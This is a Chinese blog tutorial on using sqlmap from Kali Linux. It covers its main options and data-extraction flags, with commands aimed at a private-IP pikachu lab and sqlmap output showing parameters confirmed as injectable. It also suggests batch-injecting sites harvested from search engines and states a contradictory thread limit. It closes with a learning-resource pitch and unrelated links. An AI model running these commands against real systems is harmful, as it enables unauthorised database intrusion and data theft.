当前位置: 首页 > news >正文

渗透测试之kali自带的SQLmap详解—重点sqlmap--tamper 使用方式详解,搞完你就很nice了

文章目录

    • 什么是sqlmap
    • 使用sqlmap版本
    • 使用介绍
      • 参数:-r
      • 这里的level和risk是什么意思
      • 参数:-u
      • 参数 --level=LEVEL
      • 参数 --risk=RISK
      • 参数 -v
      • 参数 -p
      • 参数 --threads
      • 参数 -batch-smart
      • 参数 -m
      • 参数 --注入获取数据
    • SqlMapAPI python开发

什么是sqlmap

  • Sqlmap是一个开源的渗透工具,它可以自动化检测和利用SQL注入缺陷以及接管数据库服务器的过程
    • 他有一个强大的检测引擎
    • 许多适合于终极渗透测试的小众特性和广泛的开关,从数据库指纹
    • 从数据库获取数据到访问底层文件系统和通过带外连接在操作系统上执行命令
    • 使用它的时候可以设置很多的参数,注意这些参数,面试经常问到
    • sqlmap很强大,以后测试某个网址是否存在注入点的时候
    • 就不需要自己写注入的sql语句了
    • 手工的就记住几个简单的
    • 比如单引号、and、or等等
    • 其他的再非必要的情况下就通过工具(sqlmap)来测即可
    • 当然了有些公司不让使用工具来测,就只能手工测试了

使用sqlmap版本

  • 这个就使用Kali中的sqlmap自带的

    • _如果不知道kali是啥就不用看下面,可以直接看我往期黑客必备的入侵神器—2025版最新Kali Linux安装教程(非常详细),零基础入门到精通,看这一篇就够了


使用介绍

参数:-r

  • 称之为万能参数,主要针对post注入

    • 但是任何其他请求方法都是可以的,这个参数用的最多
  • 首先抓包

  • 抓包过后 复制到文本文件中

  • 执行命令

    • sqlmap -r 1.txt
  • 执行结果脚本

这里的level和risk是什么意思

  • 对于剩余的测试,是否要包括“MySQL”的所有测试,以扩展提供的级别 (1) 和风险 (1) 值?[Y/n]
(XSS) attacks [21:11:02] [INFO] testing for SQL injection on GET parameter 'name' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n [21:12:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [21:12:10] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) [21:12:10] [WARNING] reflective value(s) found and filtering out [21:12:10] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [21:12:11] [INFO] testing 'Generic inline queries' [21:12:11] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [21:12:11] [INFO] GET parameter 'name' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable [21:12:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [21:12:11] [WARNING] time-based comparison requires larger statistical model, please wait........... (done) [21:12:21] [INFO] GET parameter 'name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [21:12:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [21:12:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [21:12:21] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [21:12:21] [INFO] target URL appears to have 2 columns in query [21:12:21] [INFO] GET parameter 'name' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable [21:12:21] [WARNING] automatically patching output having last char trimmed GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  • level: 执行测试的等级(1-5,默认为1)
    • 使用-level 参数且数值>=2的时候也会检查cookie里面的参数
    • 当>=3的时候将检查User-agent和Referer
  • risk: 执行测试的风险(0-3,默认为1)
    • 默认是1会测试大部分的测试语句
    • 2会增加基于事件的测试语句
    • 3会增加OR语句的SQL注入测试

参数:-u

  • 只针对get请求方法的注入
  • sqlmap -u http://192.168.1.10/pikachu/vul/sqli/sqli_str.php?name=vince
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=r5h7commep1...pdhht6s823'). Do you want to use those [Y/n] y ----------------------------------------------------------------------- 您尚未声明 cookie,而服务器想要设置自己的 cookie('PHPSESSID=r5h7commep1...pdhht6s823')。您是否要使用这些 cookie [Y/n] y

参数 --level=LEVEL

  • 使用方法:一般我都是使用3这个级别

    • cookie啊、user-agent、referer请求头等都会检测注入点
    • sqlmap -r post.txt --level 3

参数 --risk=RISK

sqlmap -r post.txt --level 3 --risk 3

参数 -v

  • 显示详细信息的意思,ERBOSE信息级别: 0-6 (缺省默认1)
    • 其值具体含义:“0”只显示python错误以及严重的信息;
    • "1"同时显示基本信息和警告信息(默认);
    • “2”同时显示debug信息;
    • “3”同时显示注入的payload;
    • “4”同时显示HTTP请求;
    • “5”同时显示HTTP响应头;
    • “6”同时显示HTTP响应页面;
  • 如果想看到sqlmap发送的测试payload最好的等级就是3
    • 设置为5的话
      • 可以看到http相应信息,比较详细
sqlmap -r post.txt --level 3 --risk 3 -v 3 sqlmap -r post.txt --level 3 --risk 3 -v 5

参数 -p

  • 针对某一个参数进行注入
    • 当我们发现注入点的时候,比如我们的网址http://192.168.0.15/sql.php?id=1 只有一个参数id
    • 那么有些网址有很多的参数,那么我们可以指定只对那个参数进行注入
sqlmap -u http://192.168.1.10/pikachu/vul/sqli/sqli_str.php?name=vince -p name
sqlmap -r get.txt -p name

参数 --threads

  • 线程数,如果你想让sqlmap跑的更快
    • 可以更改这个线程 数的值,默认值为10,最大也是10比如:
    • –threads 20 ,跑的就更快了
  • 我们还可以对所有参数的默认值全部进行调整,我们称之为sqlmap优化,配置文件在如下地方
    • 修改配置文件

参数 -batch-smart

  • 智能判断测试,自行寻找注入点进行测试
sqlmap -u http://192.168.1.10/pikachu/vul/sqli/sqli_str.php?name=vince -batch-smart
  • 其实还能得到好多数据,这里我们就截图了,截不过来。ctrl+c结束指令的执行
  • 这个智能指令,会将所有数据库全部扒一遍,并且会将每一步的信息和数据全部给我们保存下来,在如下目录中

参数 -m

  • 批量注入 ,比如搞一个txt文件, num.txt,里面写几个注入网址
    • 就可以通过-m参数来批量注入,一般用于我们找到通过搜索引擎之类的方法找到多个网站网址,记录下来进行批量检测的时候用

    • sqlmap -m num.txt

参数 --注入获取数据

--dbs:会获取所有的数据库 //默认情况下sqlmap会自动的探测web应用后端的数据库类型:MySQL、 Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、 Sybase、SAPMaxDB、DB2 --current-user:大多数数据库中可检测到数据库管理系统当前用户 --current-db:当前连接数据库名 --is-dba:判断当前的用户是否为管理 --users:列出数据库所有所有用户
http://192.168.0.15/sql.php?id=1 --dbs # 会获取所有的数据库 http://192.168.0.15/sql.php?id=1 --current-user #显示当前用户 http://192.168.0.15/sql.php?id=1 --current-db #当前连接数据库名 http://192.168.0.15/sql.php?id=1 --is-dba #判断当前的用户是否为管理 http://192.168.0.15/sql.php?id=1 --users #列出数据库所有所有用户

SqlMapAPI python开发

  • 这个后面我会写一篇详解 带小伙伴玩玩src漏洞挖掘 自动化篇幅哟 !
    • 很好的思路分析自动化手法

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


http://www.jsqmd.com/news/115050/

相关文章:

  • 【每天了解一个AI证书】CAIE认证大纲设计解析(2026年)
  • 2025年标准氩气生产商权威推荐榜单:标准高纯氩气/高纯氩气/氩气纯度标准源头厂家精选 - 品牌推荐官
  • 【收藏向】大模型系列:从原理到代码,零基础吃透LLM训练与推理
  • 7D互动影院革新娱乐体验,探秘5D影院设备生产厂家
  • 重磅消息!ESXi 8.0 系列推出ESXi 8.0 Update 3h 更新重要版本啦
  • 2025年12月防冻液,45度橙色防冻液,超流体散热快防冻液厂家权威推荐,散热防冻双效实力盘点 - 品牌鉴赏师
  • 渗透测试之kali自带的SQLmap详解—重点sqlmap--tamper使用方式详解,搞完你就很nice了
  • 三方备付金代付下发
  • 【保姆级教程】Attention机制全解析!用PyTorch手写Transformer,大模型开发入门到精通!
  • 2025公共金属家具制造企业TOP5权威测评:河北优美实力怎么样 - mypinpai
  • 【必收藏】2025大模型浪潮下,程序员的职业突围指南:从被动淘汰到主动领跑
  • 基于数据服务的信息需求 管理系统设计与实现
  • 揭秘Open-AutoGLM本地部署难题:如何在Windows系统中高效配置并运行
  • 从《黑镜》科幻预言到现实:AI 2027-2042年冲击全解析(附大模型学习路线+资料,建议收藏)
  • 基于Python的淘宝月季销售预测数据可视化系统 爬虫
  • 国产GPU首次实现十万卡集群!摩尔线程“夸娥“架构如何挑战英伟达霸主地位?
  • 2025-2026北京专业离婚律师评测推荐榜单:核心亮点与服务优势全攻略 - 老周说教育
  • 基于Python网易云音乐排行榜数据分析系统设计与实现_i23qqb6l
  • 8 个 AI 写作工具,MBA 论文写作不再难!
  • 2025年育发生发液产品综合盘点:生发育发液/止脱生发/防脱生发深度解析与品牌参考 - 品牌推荐官
  • 基于单片机的开关电源设计
  • 收藏!GraphRAG:知识图谱赋能,让 AI 更智能的检索生成技术(小白 程序员入门指南)
  • 从混乱到有序:Open-AutoGLM智能优先级调度的5步落地实践
  • 2025年河北金属家具品牌口碑排名:河北优美客户认可吗? - mypinpai
  • ModbusTCP转RS485网关实现测温器与上位机通讯快速配置案例
  • 2025年12月北京心理服务平台推荐榜:中研心委——专注北京区域的专业心理服务优选 - 海棠依旧大
  • 掌握Linux效率神器:Vim编辑器从入门到精通
  • 基于SpringBoot框架的房产交易服务平台的设计与实现_5h6ct782
  • 2025年快速卷帘门哪家强?口碑前十厂家一览,医疗装修工程/净化工作台/FFU/洁净工作台/货淋室/快速卷帘门快速卷帘门厂商排行榜 - 品牌推荐师
  • Open-AutoGLM升级内幕曝光:为何本次语义解析准确率飙升?